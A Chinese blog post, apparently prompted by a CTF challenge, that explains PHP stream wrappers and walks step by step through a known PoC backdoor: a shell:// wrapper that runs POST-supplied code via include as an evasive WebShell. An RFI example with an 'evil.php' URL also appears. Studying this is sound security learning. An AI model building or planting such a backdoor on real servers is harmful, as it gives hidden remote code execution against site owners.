内容纲要

前言

今天做攻防世界 blgdel 时用到了 PHP StreamWrapper , 即 PHP 流包装器 , 这对我而言是个新东西 .

原题的思路是利用构造好的 master 协议 , 执行相关命令 , 从而读取系统用户家目录下的 Flag 文件 .

分析题目的时候我就在想 , 既然可以利用流包装器构造相关协议读取系统文件 , 那么是否可以构造特殊的协议来执行系统命令呢 ? 如果可以那岂不就是一个很难被检测的 WebShell 嘛~

顺着这个思路 , 才有了本文 .


PHP StreamWrapper ( PHP 流包装器 )

基本内容

  • 什么是 Stream( 流 )

    PHP 官方文档 中有如下定义

    流是表现出流式数据行为的资源对象 , 用于 文件数据,网络数据,压缩数据 等统一的数据操作 .

    什么叫 " 统一的数据操作 " 呢 ? 就是所有的操作都共享一组通用的功能与方法 . 那什么叫 " 共享通用的功能和方法 " 呢 ? 举个例子 , PHP 文件系统函数 file_get_contents() 既可以打开本地文件( 操作文件数据 ) , 也可以访问 URL( 操作网络数据 ) , 该函数就是两种数据操作共享的方法 .

    因此 , file_get_contents() 函数的访问的数据就是流 , 流能以线性方式进行读写 , 并且可以在流中的任意位置进行搜索 .

    对于流式数据而言 , 不管它是本地文件 , 还是网络数据 , 或者是压缩文件 , 操作方式都是相同的 . 因此 , 流是从 " 统一操作 " 这个角度产生的概念 .

  • 什么是 StreamWrapper( 流包装器 )

    有了流( Stream )的概念 , 就能引申出流包装器( StreamWrapper )这个概念了 .

    流是从 " 统一操作 " 角度产生的概念 , 而流包装器是从 " 理解数据内容 " 的角度产生的概念 . 当 PHP 接收到一段流式数据时 , 它是如何解析其中的内容与规则呢 ?

    每一个流都对应一种流包装器 , 流包装器的本质是一段额外的代码 , 它会告诉流如何处理某种特殊协议或者编码 . 比如 , 从 HTTP 协议传来的数据是流的方式 , 但只有 HTTP 包装器才知道传来的数据是什么意思 .

     看到个很好理解的例子 : 流是一根管子 , 它流出的是数据 , 而流包装器就是套在这根管子外的一个解释者 , 它能理解流出数据的含义 , 并且能操控它 . 

    流包装器可以嵌套叠加 , 当一个流的外层包裹了一个流包装器后 , 还可以在该流包装器的外层继续包裹流包装器 , 这时里层的流包装器就充当流的角色 .

     再举个例子 , 在 PHP 自身底层实现的C语言开发文档有这样的解释 :
    
     在基本级别 , 流API 定义了 php_stream 对象表示流式数据源 . 在高一点的级别 , 流API 定义了 php_stream_wrapper 对象 , 它包裹了基本级别的 php_stream 对象 , 提供了取回 URL 内容和元数据 , 添加上下文参数的能力 , 可以调整流包装器的行为 . 

    PHP 内置了很多流包装器 , 可以在 支持的协议和封装协议 中查看

    除此之外 , 在 PHP 脚本中通过 stream_wrapper_register() 函数可以注册自定义的包装器 .

    stream_wrapper_register() : 注册一个用 PHP 类实现的 URL 封装协议

    如果要访问当前的流包装器列表( PHP内置 + 用户自定义 ) , 可以使用 stream_get_wrappers() 函数查看所有可用的流包装器 .

     stream_get_wrappers() : 获取已注册的流类型列表

    还可以使用 stream_get_transports() 函数获取已注册的套接字传输协议列表 , 使用 stream_get_filters() 函数获取已注册的流过滤器列表 .

  • StreamWrapper( 流包装器 ) 的引用格式

    流包装器的引用格式如下

    Schema://Target

     Schema : 要使用的流包装器的名称( 例如 http , ftp , glob 等或是用户自定义 ) , 如果未指定流包装器 , 则会默认使用 file:// 流包装器 . 
    
     Target : 取决于所使用的流包装器 , 内容由流包装器的语法指定 , 不同的流包装器语法会有不同 .

    尽管 RFC 3986 中提到可以使用 " : " 作为分割符 , 但 PHP 只允许使用 " :// " , 所以必须使用 schema://target 这样的格式 .

    比如 php://input 就是一个最常用的 PHP 流包装器 , 它可以访问请求的原始数据的只读流 .


自定义一个流包装器

在使用 fopen() , fwrite() , fread() , fgets() , feof() , rewind() , file_put_contents() , file_get_contents() 等等文件系统函数操作流时, 数据是先传给定义的包装器类对象 , 包装器再去操作流 .

那么如何自定义一个流包装器呢 ? The streamWrapper class 中给出了一个原型 , 但就仅仅是原型 , 不是接口不是类 , 不能被继承 .

这个原型中定义的方法可以根据自己的需要去定义 , 并不要求全部实现 . 不被定义为接口的原因正是因为很多方法的实现根本用不到 .

可以在 PHP 官方文档上给出了一个 注册自定义流包装器 的例子 , 可以作为参考 .

写一个创建文件的 demo

  1. 先定义需要的变量( 这里定义了 $name$contents 来存放文件名和文件内容 ) , 同时实现了构造函数 __construct()( 构造函数不实现会报错 )

  2. 然后定义 stream_open() 函数 , 该函数用于打开文件或者 URL , 在流包装器初始化后会立即调用此方法 . 该函数先从 URL 中解析获取需要的参数 $a( 要进行的动作 ) 和 $b( 包含文件名和文件内容 ) , 然后进行相关赋值操作 .

  3. 接着判断当前操作是否为 create 操作 , 若是则调用 create() 函数 , create() 函数中封装了 file_put_contents() 函数

  4. 通过 stream_wrapper_register() 函数注册 createfile 流包装器 , 然后通过 include 打开使用该流包装器的 URL .

编写完毕后直接运行 , 即可在本地创建内容为 helloworldtest.txt 文件 .

一个最基本的自定义流包装器就注册成功了 , 用户可以使用 createfile:// 协议在当前目录下创建文件 .


WebShell

既然自定义流包装器可以执行系统命令 , 那么是否能被修改成 WebShell 呢 ? 答案当然是可以的 . 在查阅相关资料时 , 我发现已经有很多师傅提到了这个问题 . 写个链接吧~

流包装器实现WebShell免杀

PHP使用流包装器实现WebShell

特殊方式运行PHP代码

php流包装器

还是回到 include , 该函数可以包含并且执行文件 , 且支持远程文件 , 比如 include "https://example.com/evil.php" . 因此常常会出现远程包含漏洞( RFI ) .

但是远程包含漏洞依赖于 PHP 的两个配置项 , 即 allow_url_fopenallow_url_include

在默认情况下 , 这两个选项值都为 Off , 所以无法远程包含文件 . 但此时 , 我们可以通过 stream_wrapper_register() 注册流包装器 , 检测特定的URL包装功能 , 监控 include 流 , 在 include 流中动态生成PHP代码 , 从而成为一个 WebShell 后门 .

在安全脉搏的这篇帖子上 , 有一个比较经典的后门 POC , 下面来分析一下这个后门是如何构造的

  1. 调用 shell() 函数

    这里调用了 ShellStream 类的 shell 函数 , 来看下 shell() 函数是怎么写的

  2. 注册流包装器

    这里先注册了 shell:// 这个流包装器 , 然后从 HTTP POST 方法获取了要执行的代码 , 拼接到流包装器中 , 然后通过 include() 触发流包装器的解析 .

  3. stream_open()

    当流包装器初始化后 , 会最先调用构造函数 __construct() , 但是这里没有 , 于是立即调用 stream_open() 函数

    该函数解析了 include 包含的url , 由于 parse_url 不会检查 URL 的合法性 , 它只负责解析 . 任何从 :// 开始,以 /: 结尾的那一部分字符串( 如果没有的话 , 则是余下的全部字符 )都被视作主机名( $host )部分 . 从中提取了要执行的命令并解码 , 同时初始化了文件指针用于读取数据 .

  4. stream_read() , stream_eof()

    结合读取文件的过程 : 在文件指针还未指向文件的末尾( feof() )时 , 不断读取文件的内容( fread() ) , 这里的 stream_read() , stream_eof() 函数就是用于响应上述整个过程的 , 两个函数往往搭配使用 .

  5. stream_tell() , stream_seek()

    结合读取文件的过程 , 先把文件指针移到指定的位置( fseek() )进行读取 , 然后获取文件的当前读写位置( ftell() ) . 在随机方式存取文件时 , 由于文件指针位置频繁的前后移动 , 程序不容易确定文件的当前指针位置 . 使用 fseek() 函数后再调用函数 ftell() 就能非常容易地确定文件的当前指针位置 .

    同样 , 这里 stream_tell()stream_seek() 就是用于响应上述整个过程 , 两个函数往往搭配使用 .

    在构造 stream_seek() 函数时 , 调用了一个选择分支结构 , 这个结构对应 PHP 官方文档中所说的三种可能情况 .

    \

     SEEK_SET : 设置文件指针位置等于偏移字节
    
     SEEK_CUR : 将文件指针位置设置为当前位置加上偏移量
    
     SEEK_END : 将文件指针位置设置为文件末尾加上偏移量

    结合这些注释 , 这个选择分支语句应该很好理解了 .

  6. stream_stat

    检索文件资源的相关信息 , 用于响应 fstat() 函数 . fstat() 函数会通过已打开的文件指针取得文件信息 .

  7. url_stat

    检索文件的信息,响应所有 stat() 相关的函数 . 相关函数是比较多的 , 可以参考 url_stat .

其实有些地方我还是不太明白 , 感觉还要学一些比较底层的东西 . 在 PHP扩展开发及内核应用 这个文档中提到了 PHP Stream 的实现 , 无奈我太菜了看不懂 == 如果有师傅明白具体的流程 , 欢迎您的留言~

好了, 整个后门就构造完了 , 不过后门的连接脚本还是非常好写的 , 我们把刚才构造的后门放到服务器上 , 然后在本地运行连接脚本

具体的脚本放在了 Github


总结

感觉 PHP StreamWrapper 后门是一个比较小众的 WebShell 构造方式 , 可以记录一下

在代码方面我还存在一些疑惑 , 这些需要更进一步的学习研究 .

最后修改日期:2020年3月9日

作者

留言

撰写回覆或留言

发布留言必须填写的电子邮件地址不会公开。